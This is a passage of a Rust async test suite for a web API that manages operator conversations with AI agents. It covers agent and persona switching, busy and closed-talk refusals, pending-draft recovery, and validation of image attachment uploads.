9216 };
9217
9218 let unknown = call("nobody").await.expect_err("unknown agent");
9219 assert_eq!(
9220 unknown.status,
9221 StatusCode::BAD_REQUEST,
9222 "{}",
9223 unknown.message
9224 );
9225
9226 {
9227 let mut claimed = None;
9230 for _ in 0..200 {
9231 claimed = ui.begin_talk_turn(&id).expect("claim");
9232 if claimed.is_some() {
9233 break;
9234 }
9235 tokio::time::sleep(Duration::from_millis(10)).await;
9236 }
9237 let _busy = claimed.expect("free");
9238 let busy = call("second").await.expect_err("busy talk");
9239 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9240 }
9241 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9242
9243 let Json(view) = call("second").await.expect("switch");
9244 assert_eq!(view.talk.agent, "second");
9245 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9246 let saved = talks.get(&id).expect("reload");
9247 assert_eq!(saved.agent, "second");
9248 assert_eq!(saved.turns.len(), 1);
9249
9250 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9251 .await
9252 .expect("detail");
9253 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9254 assert_eq!(roster, ["mock", "second"]);
9255
9256 let mut closed = talks.get(&id).expect("reload");
9257 talk::close(&mut closed, &talks).expect("close");
9258 let refused = call("mock").await.expect_err("closed talk");
9259 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9260 }
9261
9262 #[tokio::test]
9263 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
9264 let tmp = TempDir::new().expect("tempdir");
9265 let repo = tmp.path().join("repo");
9266 std::fs::create_dir_all(&repo).expect("repo dir");
9267 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9268 let home = TempDir::new().expect("temp home");
9269 let talks = Talks::at(home.path().join("talks"));
9270 let ui = Arc::new(
9271 Ui::new(
9272 Queue::at(home.path().join("queue")),
9273 Questions::at(home.path().join("questions")),
9274 talks.clone(),
9275 home.path().join("runs"),
9276 home.path().to_path_buf(),
9277 repo.clone(),
9278 )
9279 .with_worktrees_root(home.path().join("wt")),
9280 );
9281 let cfg = config_for(&repo).await.expect("discover config");
9282 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9283 let id = talk.id.clone();
9284 let call = |n: u8| {
9285 talk_implementers(
9286 State(Arc::clone(&ui)),
9287 Path(id.clone()),
9288 Json(TalkImplementers { implementers: n }),
9289 )
9290 };
9291
9292 for bad in [0u8, 4] {
9293 let e = call(bad).await.expect_err("out of range");
9294 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
9295 }
9296 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
9297
9298 {
9299 let mut claimed = None;
9300 for _ in 0..200 {
9301 claimed = ui.begin_talk_turn(&id).expect("claim");
9302 if claimed.is_some() {
9303 break;
9304 }
9305 tokio::time::sleep(Duration::from_millis(10)).await;
9306 }
9307 let _busy = claimed.expect("free");
9308 let busy = call(2).await.expect_err("busy talk");
9309 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9310 }
9311
9312 let Json(view) = call(3).await.expect("switch");
9313 assert_eq!(view.talk.implementers, 3);
9314 assert!(talks.get(&id).expect("reload").implementers_dirty);
9315
9316 let mut closed = talks.get(&id).expect("reload");
9317 talk::close(&mut closed, &talks).expect("close");
9318 let e = call(2).await.expect_err("closed talk");
9319 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
9320 }
9321
9322 #[tokio::test]
9323 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9324 let tmp = TempDir::new().expect("tempdir");
9325 let repo = tmp.path().join("repo");
9326 std::fs::create_dir_all(&repo).expect("repo dir");
9327 std::fs::write(
9328 repo.join("magi.toml"),
9329 format!(
9330 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9331 ),
9332 )
9333 .expect("write magi.toml");
9334 let home = TempDir::new().expect("temp home");
9335 let talks = Talks::at(home.path().join("talks"));
9336 let ui = Arc::new(
9337 Ui::new(
9338 Queue::at(home.path().join("queue")),
9339 Questions::at(home.path().join("questions")),
9340 talks.clone(),
9341 home.path().join("runs"),
9342 home.path().to_path_buf(),
9343 repo.clone(),
9344 )
9345 .with_worktrees_root(home.path().join("wt")),
9346 );
9347 let cfg = config_for(&repo).await.expect("discover config");
9348 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9349 let id = talk.id.clone();
9350 let call = |persona: &str| {
9351 talk_persona(
9352 State(Arc::clone(&ui)),
9353 Path(id.clone()),
9354 Json(TalkPersona {
9355 persona: persona.to_owned(),
9356 }),
9357 )
9358 };
9359
9360 let unknown = call("nobody").await.expect_err("unknown persona");
9361 assert_eq!(
9362 unknown.status,
9363 StatusCode::BAD_REQUEST,
9364 "{}",
9365 unknown.message
9366 );
9367
9368 {
9369 let mut claimed = None;
9370 for _ in 0..200 {
9371 claimed = ui.begin_talk_turn(&id).expect("claim");
9372 if claimed.is_some() {
9373 break;
9374 }
9375 tokio::time::sleep(Duration::from_millis(10)).await;
9376 }
9377 let _busy = claimed.expect("free");
9378 let busy = call("rei").await.expect_err("busy talk");
9379 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9380 }
9381 assert_eq!(talks.get(&id).expect("reload").persona, "");
9382
9383 let Json(view) = call("gendo").await.expect("switch to a configured persona");
9384 assert_eq!(view.talk.persona, "gendo");
9385 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9386
9387 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9388 .await
9389 .expect("detail");
9390 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9391 assert_eq!(ids.first(), Some(&"default"));
9392 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9393
9394 let Json(view) = call("default").await.expect("back to default");
9395 assert_eq!(view.talk.persona, "");
9396
9397 let mut closed = talks.get(&id).expect("reload");
9398 talk::close(&mut closed, &talks).expect("close");
9399 let refused = call("rei").await.expect_err("closed talk");
9400 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9401 }
9402
9403 #[tokio::test]
9404 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9405 let f = Fixture::start().await;
9406 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9407 let queue = f.queue();
9408 let mut mine = Task::new(
9409 "rename the loader".to_owned(),
9410 "rename the loader".to_owned(),
9411 PathBuf::from("/repo/magi"),
9412 Source::Agent {
9413 run: talk_id.clone(),
9414 node: "chat".to_owned(),
9415 },
9416 );
9417 queue.put(&mut mine).expect("file the task");
9418 let mut theirs = Task::new(
9419 "unrelated".to_owned(),
9420 "unrelated".to_owned(),
9421 PathBuf::from("/repo/magi"),
9422 Source::Human,
9423 );
9424 queue.put(&mut theirs).expect("file the task");
9425
9426 let res = f.get(&format!("/api/talks/{talk_id}")).await;
9427 assert_eq!(res.status, 200, "{}", res.body);
9428 let body = res.json();
9429 assert_eq!(
9430 body["status"], "open",
9431 "filing a task does not close a talk"
9432 );
9433 let tasks = body["tasks"].as_array().expect("tasks array");
9434 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9435 assert_eq!(tasks[0]["id"], mine.id);
9436 }
9437
9438 #[tokio::test]
9439 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9440 let (_tmp, _repo, f) = talk_fixture().await;
9441 let id = f.post("/api/talks", None).await.json()["id"]
9442 .as_str()
9443 .expect("id")
9444 .to_owned();
9445
9446 let res = f
9447 .post(
9448 &format!("/api/talks/{id}/say"),
9449 Some(r#"{"text":"what does the queue module do?"}"#),
9450 )
9451 .await;
9452 assert_eq!(res.status, 202, "{}", res.body);
9453 let queued = res.json();
9454 let turns = queued["turns"].as_array().expect("turns array");
9455 assert_eq!(
9456 turns.len(),
9457 1,
9458 "the answer reflects only what is on disk the instant it is sent, \
9459 before the agent's turn - which can run for the whole of \
9460 `[graph] timeout_talk` - has a chance to land: {queued}"
9461 );
9462 assert_eq!(turns[0]["who"], "operator");
9463 assert_eq!(turns[0]["body"], "what does the queue module do?");
9464 assert_eq!(
9465 queued["thinking"], true,
9466 "the accepted response exposes the background turn claim: {queued}"
9467 );
9468
9469 let mut turns_after = 1;
9470 for _ in 0..SETTLE_STEPS {
9471 let detail = f.get(&format!("/api/talks/{id}")).await.json();
9472 turns_after = detail["turns"].as_array().expect("turns array").len();
9473 if turns_after == 2 {
9474 break;
9475 }
9476 tokio::time::sleep(Duration::from_millis(10)).await;
9477 }
9478 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9479 }
9480
9481 #[tokio::test]
9508 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9509 let tmp = TempDir::new().expect("tempdir");
9510 let repo = tmp.path().join("repo");
9511 std::fs::create_dir_all(&repo).expect("repo dir");
9512 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9513 let home = TempDir::new().expect("temp home");
9514 let talks = Talks::at(home.path().join("talks"));
9515 let ui = Arc::new(
9516 Ui::new(
9517 Queue::at(home.path().join("queue")),
9518 Questions::at(home.path().join("questions")),
9519 talks.clone(),
9520 home.path().join("runs"),
9521 home.path().to_path_buf(),
9522 repo.clone(),
9523 )
9524 .with_worktrees_root(home.path().join("wt")),
9525 );
9526 let cfg = config_for(&repo).await.expect("discover config");
9527
9528 for delay in 0..40u32 {
9529 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9530 let id = talk.id.clone();
9531
9532 let handler = tokio::spawn(talk_say(
9533 State(Arc::clone(&ui)),
9534 Path(id.clone()),
9535 Ok(Json(NewTalkTurn {
9536 text: "what does the queue module do?".to_owned(),
9537 attachments: Vec::new(),
9538 })),
9539 ));
9540 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9541 handler.abort();
9542 let _ = handler.await;
9545
9546 let mut turns = 0;
9547 for _ in 0..SETTLE_STEPS {
9548 if let Ok(fresh) = talks.get(&id) {
9549 turns = fresh.turns.len();
9550 if turns != 1 {
9551 break;
9552 }
9553 }
9554 tokio::time::sleep(Duration::from_millis(10)).await;
9555 }
9556 assert_ne!(
9557 turns, 1,
9558 "delay {delay}: talk {id} recorded the operator's turn but \
9559 the agent never answered - the reply task was never \
9560 started after the handler future was dropped"
9561 );
9562 }
9563 }
9564
9565 #[tokio::test]
9610 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9611 let tmp = TempDir::new().expect("tempdir");
9612 let repo = tmp.path().join("repo");
9613 std::fs::create_dir_all(&repo).expect("repo dir");
9614 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9615 let home = TempDir::new().expect("temp home");
9616 let talks = Talks::at(home.path().join("talks"));
9617 let ui = Arc::new(
9618 Ui::new(
9619 Queue::at(home.path().join("queue")),
9620 Questions::at(home.path().join("questions")),
9621 talks.clone(),
9622 home.path().join("runs"),
9623 home.path().to_path_buf(),
9624 repo.clone(),
9625 )
9626 .with_worktrees_root(home.path().join("wt")),
9627 );
9628 let cfg = config_for(&repo).await.expect("discover config");
9629
9630 for attempt in 0..3u32 {
9631 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9632 let id = talk.id.clone();
9633 let turn_guard = ui
9636 .begin_talk_turn(&id)
9637 .expect("claim the turn")
9638 .expect("a fresh talk owes nobody a turn");
9639
9640 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9641 let (release_tx, release_rx) = std::sync::mpsc::channel();
9642 ui.set_busy_queue_gate(BusyQueueGate {
9643 reached: reached_tx,
9644 release: release_rx,
9645 });
9646
9647 let handler = tokio::spawn(talk_say(
9648 State(Arc::clone(&ui)),
9649 Path(id.clone()),
9650 Ok(Json(NewTalkTurn {
9651 text: "what does the queue module do?".to_owned(),
9652 attachments: Vec::new(),
9653 })),
9654 ));
9655
9656 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9661 .await
9662 .unwrap_or_else(|_| {
9663 panic!(
9664 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9665 )
9666 })
9667 .expect("the busy branch dropped the gate without using it");
9668
9669 let running = talks.get(&id).expect("reload talk");
9676 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9677
9678 handler.abort();
9682 let _ = handler.await;
9683
9684 let _ = release_tx.send(());
9690
9691 let mut fresh = talks.get(&id).expect("reload talk");
9694 for _ in 0..SETTLE_STEPS {
9695 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9696 break;
9697 }
9698 tokio::time::sleep(Duration::from_millis(10)).await;
9699 fresh = talks.get(&id).expect("reload talk");
9700 }
9701 assert!(
9702 fresh.pending.is_empty() && fresh.turns.len() == 2,
9703 "attempt {attempt}: talk {id} left the operator's text queued \
9704 with no drainer - the reclaimed turn was dropped along with \
9705 the handler future (pending {:?}, {} turns)",
9706 fresh.pending,
9707 fresh.turns.len()
9708 );
9709 }
9710 }
9711
9712 #[tokio::test]
9713 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9714 let (_tmp, _repo, f) = talk_fixture().await;
9715 let id = f.post("/api/talks", None).await.json()["id"]
9716 .as_str()
9717 .expect("id")
9718 .to_owned();
9719 let store = f.talks();
9720 let mut recovered = store.get(&id).expect("opened talk");
9721 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9722 .expect("persist pending draft without a live turn");
9723
9724 let edited = f
9725 .post(
9726 &format!("/api/talks/{id}/pending/edit"),
9727 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9728 )
9729 .await;
9730 assert_eq!(edited.status, 200, "{}", edited.body);
9731 assert!(edited.json()["thinking"].as_bool().unwrap());
9732
9733 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9734 for _ in 0..SETTLE_STEPS {
9735 if detail["turns"].as_array().expect("turns").len() == 2 {
9736 break;
9737 }
9738 tokio::time::sleep(Duration::from_millis(10)).await;
9739 detail = f.get(&format!("/api/talks/{id}")).await.json();
9740 }
9741 let turns = detail["turns"].as_array().expect("turns");
9742 assert_eq!(
9743 turns.len(),
9744 2,
9745 "the recovered draft must run once: {detail}"
9746 );
9747 assert_eq!(turns[0]["body"], "corrected");
9748 assert_eq!(detail["pending"], "");
9749 }
9750
9751 #[tokio::test]
9752 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9753 let tmp = TempDir::new().expect("tempdir");
9754 let repo = tmp.path().join("repo");
9755 std::fs::create_dir_all(&repo).expect("repo dir");
9756 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9757 let f = Fixture::with_repo(repo).await;
9758 let id = f.post("/api/talks", None).await.json()["id"]
9759 .as_str()
9760 .expect("id")
9761 .to_owned();
9762 let store = f.talks();
9763 let mut recovered = store.get(&id).expect("opened talk");
9764 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9765 .expect("persist pending draft without a live turn");
9766
9767 let refused = f
9768 .post(
9769 &format!("/api/talks/{id}/say"),
9770 Some(r#"{"text":"new message"}"#),
9771 )
9772 .await;
9773 assert_eq!(refused.status, 409, "{}", refused.body);
9774 assert!(refused.body.contains("resume"), "{}", refused.body);
9775 let saved = store.get(&id).expect("draft remains after refusal");
9776 assert!(saved.turns.is_empty());
9777 assert_eq!(saved.pending, "saved before restart");
9778
9779 let say_path = format!("/api/talks/{id}/say");
9780 let (first, second) = tokio::join!(
9781 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9782 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9783 );
9784 assert_eq!(first.status, 409, "{}", first.body);
9785 assert_eq!(second.status, 409, "{}", second.body);
9786 let saved = store
9787 .get(&id)
9788 .expect("draft remains after concurrent refusals");
9789 assert!(saved.turns.is_empty());
9790 assert_eq!(saved.pending, "saved before restart");
9791
9792 let resumed = f
9793 .post(&format!("/api/talks/{id}/pending/resume"), None)
9794 .await;
9795 assert_eq!(resumed.status, 202, "{}", resumed.body);
9796 let duplicate = f
9797 .post(&format!("/api/talks/{id}/pending/resume"), None)
9798 .await;
9799 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9800
9801 for _ in 0..SETTLE_STEPS {
9802 if store.get(&id).expect("talk").turns.len() == 2 {
9803 break;
9804 }
9805 tokio::time::sleep(Duration::from_millis(10)).await;
9806 }
9807 let finished = store.get(&id).expect("finished talk");
9808 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9809 assert_eq!(finished.turns[0].body, "saved before restart");
9810 assert!(finished.pending.is_empty());
9811 }
9812
9813 #[tokio::test]
9814 async fn an_image_only_recovered_draft_resumes_without_text() {
9815 let (_tmp, _repo, f) = talk_fixture().await;
9816 let id = f.post("/api/talks", None).await.json()["id"]
9817 .as_str()
9818 .expect("id")
9819 .to_owned();
9820 let uploaded = f
9821 .post_bytes(
9822 &format!("/api/talks/{id}/attachments"),
9823 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9824 PNG_BYTES,
9825 )
9826 .await;
9827 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9828 let attachment = f
9829 .talks()
9830 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9831 .expect("attachment metadata")
9832 .expect("stored attachment");
9833 let store = f.talks();
9834 let mut recovered = store.get(&id).expect("opened talk");
9835 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9836
9837 let resumed = f
9838 .post(&format!("/api/talks/{id}/pending/resume"), None)
9839 .await;
9840 assert_eq!(resumed.status, 202, "{}", resumed.body);
9841 for _ in 0..SETTLE_STEPS {
9842 if store.get(&id).expect("talk").turns.len() == 2 {
9843 break;
9844 }
9845 tokio::time::sleep(Duration::from_millis(10)).await;
9846 }
9847 let finished = store.get(&id).expect("finished talk");
9848 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9849 assert!(finished.turns[0].body.is_empty());
9850 assert_eq!(finished.turns[0].attachments.len(), 1);
9851 assert!(finished.pending_attachments.is_empty());
9852 }
9853
9854 #[tokio::test]
9855 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9856 let (_tmp, _repo, f) = talk_fixture().await;
9857 let id = f.post("/api/talks", None).await.json()["id"]
9858 .as_str()
9859 .expect("id")
9860 .to_owned();
9861 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9862 assert_eq!(closed.status, 200, "{}", closed.body);
9863 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9864 .expect("serialize closed talk");
9865 for (path, body) in [
9866 (format!("/api/talks/{id}/pending/resume"), None),
9867 (
9868 format!("/api/talks/{id}/pending/clear"),
9869 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9870 ),
9871 (
9872 format!("/api/talks/{id}/pending/edit"),
9873 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9874 ),
9875 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9876 ] {
9877 let response = f.post(&path, body).await;
9878 assert_eq!(response.status, 409, "{}", response.body);
9879 }
9880 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9881 .expect("serialize closed talk");
9882 assert_eq!(
9883 after_clear, before_clear,
9884 "clear must not rewrite a closed talk"
9885 );
9886 }
9887
9888 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9891
9892 #[tokio::test]
9893 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9894 let tmp = TempDir::new().expect("tempdir");
9895 let repo = tmp.path().join("repo");
9896 std::fs::create_dir_all(&repo).expect("repo dir");
9897 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9898 let f = Fixture::with_repo(repo).await;
9899 let id_a = f.post("/api/talks", None).await.json()["id"]
9900 .as_str()
9901 .unwrap()
9902 .to_owned();
9903 let id_b = f.post("/api/talks", None).await.json()["id"]
9904 .as_str()
9905 .unwrap()
9906 .to_owned();
9907
9908 let a = f
9909 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9910 .await;
9911 assert_eq!(a.status, 202, "{}", a.body);
9912 assert_eq!(a.json()["thinking"], true);
9913 let b = f
9914 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9915 .await;
9916 assert_eq!(b.status, 202, "{}", b.body);
9917 assert_eq!(b.json()["thinking"], true);
9918
9919 let listed = f.get("/api/talks").await.json();
9920 for id in [&id_a, &id_b] {
9921 let view = listed
9922 .as_array()
9923 .unwrap()
9924 .iter()
9925 .find(|talk| talk["id"] == *id)
9926 .unwrap();
9927 assert_eq!(view["thinking"], true, "{listed}");
9928 }
9929 let repeated = f
9930 .post(
9931 &format!("/api/talks/{id_a}/say"),
9932 Some(r#"{"text":"again"}"#),
9933 )
9934 .await;
9935 assert_eq!(repeated.status, 202, "{}", repeated.body);
9936 assert_eq!(repeated.json()["pending"], "again");
9937 }
9938
9939 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9942
9943 #[tokio::test]
9944 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9945 let f = Fixture::start().await;
9946 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9947
9948 let res = f
9949 .post_bytes(
9950 &format!("/api/talks/{id}/attachments"),
9951 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9952 PNG_BYTES,
9953 )
9954 .await;
9955 assert_eq!(res.status, 201, "{}", res.body);
9956 let body = res.json();
9957 assert_eq!(body["name"], "shot.png");
9958 assert_eq!(body["mime"], "image/png");
9959 assert_eq!(body["bytes"], PNG_BYTES.len());
9960 let att_id = body["id"].as_str().expect("id").to_owned();
9961 assert_eq!(
9962 att_id.len(),
9963 32,
9964 "the id must never be a client-suppliable path: {att_id}"
9965 );
9966
9967 let got = f
9968 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9969 .await;
9970 assert_eq!(got.status, 200, "{}", got.body);
9971 assert_eq!(got.header("content-type"), Some("image/png"));
9972 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9973 assert_eq!(got.bytes, PNG_BYTES);
9974 }
9975
9976 #[tokio::test]
9977 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9978 let f = Fixture::start().await;
9979 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9980
9981 let svg = f
9984 .post_bytes(
9985 &format!("/api/talks/{id}/attachments"),
9986 &[("Content-Type", "image/svg+xml")],
9987 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9988 )
9989 .await;
9990 assert!(
9991 (400..500).contains(&svg.status),
9992 "svg must be refused: {} {}",
9993 svg.status,
9994 svg.body
9995 );
9996 assert!(svg.body.contains("SVG"), "{}", svg.body);
9997
9998 let text = f
9999 .post_bytes(
10000 &format!("/api/talks/{id}/attachments"),
10001 &[("Content-Type", "text/plain")],
10002 b"just some text",
10003 )
10004 .await;
10005 assert!(
10006 (400..500).contains(&text.status),
10007 "an unlisted type must be refused: {} {}",
10008 text.status,
10009 text.body
10010 );
10011
10012 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
10015 let big = f
10016 .post_bytes(
10017 &format!("/api/talks/{id}/attachments"),
10018 &[("Content-Type", "image/png")],
10019 &oversized,
10020 )
10021 .await;
10022 assert_eq!(
10023 big.status,
10024 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
10025 "{}",
10026 big.body
10027 );
10028 }
10029
10030 #[tokio::test]
10031 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
10032 let f = Fixture::start().await;
10033 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
10034
10035 let res = f
10038 .post_bytes(
10039 &format!("/api/talks/{id}/attachments"),
10040 &[("Content-Type", "image/png")],
10041 b"<html>not a picture</html>",
10042 )
10043 .await;
10044 assert!((400..500).contains(&res.status), "{}", res.body);
10045 }
10046
10047 #[tokio::test]
10048 async fn an_unknown_attachment_id_is_a_404() {
10049 let f = Fixture::start().await;
10050 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
10051
10052 let res = f
10053 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
10054 .await;
10055 assert_eq!(res.status, 404, "{}", res.body);
10056 }
10057
10058 #[tokio::test]
10059 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
10060 let f = Fixture::start().await;
10061 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
10062
10063 let uploaded = f
10064 .post_bytes(
10065 &format!("/api/talks/{id}/attachments"),
10066 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10067 PNG_BYTES,
10068 )
10069 .await;
10070 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10071 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
10072
10073 let res = f
10074 .post(
10075 &format!("/api/talks/{id}/say"),
10076 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
10077 )
10078 .await;
10079 assert_eq!(res.status, 202, "{}", res.body);
10080 let queued = res.json();
10081 let turns = queued["turns"].as_array().expect("turns array");
10082 assert_eq!(
10083 turns.len(),
10084 1,
10085 "an empty body with an attachment is still a turn: {queued}"
10086 );
10087 assert_eq!(turns[0]["who"], "operator");
10088 assert_eq!(turns[0]["body"], "");
10089 let atts = turns[0]["attachments"]
10090 .as_array()
10091 .expect("attachments array");
10092 assert_eq!(atts.len(), 1);
10093 assert_eq!(atts[0]["id"], att_id);
10094 assert_eq!(atts[0]["mime"], "image/png");
10095
10096 let on_disk = f.talks().get(&id).expect("get");
10099 assert_eq!(on_disk.turns[0].attachments.len(), 1);
10100 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
10101 }
10102
10103 #[tokio::test]
10104 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
10105 let f = Fixture::start().await;
10106 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
10107
10108 let res = f
10109 .post(
10110 &format!("/api/talks/{id}/say"),
10111 Some(&format!(
10112 r#"{{"text":"hi","attachments":["{}"]}}"#,
10113 "a".repeat(32)
10114 )),
10115 )
10116 .await;
10117 assert!((400..500).contains(&res.status), "{}", res.body);
10118 assert!(res.body.contains("unknown attachment"), "{}", res.body);
10119
10120 let on_disk = f.talks().get(&id).expect("get");
10121 assert!(
10122 on_disk.turns.is_empty(),
10123 "a rejected attachment id must not partially record the turn: {:?}",
10124 on_disk.turns
10125 );
10126 }
10127
10128 #[tokio::test]
10129 async fn talk_close_makes_the_talk_refuse_further_turns() {
10130 let f = Fixture::start().await;
10131 let id = seed_talk(&f, "20260904-014455-cd34", "open");
10132
10133 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10134 assert_eq!(closed.status, 200, "{}", closed.body);
10135 assert_eq!(closed.json()["status"], "closed");
10136
10137 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
10139 assert_eq!(closed_again.status, 200);
10140 assert_eq!(closed_again.json()["status"], "closed");
10141
10142 let said = f
10143 .post(
10144 &format!("/api/talks/{id}/say"),
10145 Some(r#"{"text":"too late"}"#),
10146 )
10147 .await;
10148 assert_eq!(said.status, 409, "{}", said.body);
10149 }
10150
10151 #[tokio::test]
10152 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
10153 let (_tmp, _repo, f) = talk_fixture().await;
10154 let id = f.post("/api/talks", None).await.json()["id"]
10155 .as_str()
10156 .expect("id")
10157 .to_owned();
10158 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10159 assert_eq!(closed.status, 200, "{}", closed.body);
10160
10161 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10162 assert_eq!(reopened.status, 200, "{}", reopened.body);
10163 assert_eq!(reopened.json()["status"], "open");
10164
10165 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10167 assert_eq!(reopened_again.status, 200);
10168 assert_eq!(reopened_again.json()["status"], "open");
10169
10170 let said = f
10171 .post(
10172 &format!("/api/talks/{id}/say"),
10173 Some(r#"{"text":"still there?"}"#),
10174 )
10175 .await;
10176 assert_eq!(
10177 said.status, 202,
10178 "a reopened talk accepts turns again: {}",
10179 said.body
10180 );
10181 }
10182
10183 #[tokio::test]
10184 async fn talk_reopen_on_an_unknown_id_is_404() {
10185 let f = Fixture::start().await;
10186 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
10187 assert_eq!(res.status, 404, "{}", res.body);
10188 }
10189
10190 #[tokio::test]
10191 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
10192 let f = Fixture::start().await;
10193 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
10194
10195 let deleted = f.delete(&format!("/api/talks/{id}")).await;
10196 assert_eq!(deleted.status, 204, "{}", deleted.body);
10197
10198 let after = f.get(&format!("/api/talks/{id}")).await;
10199 assert_eq!(after.status, 404, "{}", after.body);
10200
10201 let listed = f.get("/api/talks").await.json();
10202 assert!(
10203 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
10204 "a deleted talk must not linger in the list: {listed}"
10205 );
10206 }
10207
10208 #[tokio::test]
10209 async fn talk_delete_on_an_unknown_id_is_404() {
10210 let f = Fixture::start().await;
10211 let res = f.delete("/api/talks/nonexistent-id").await;
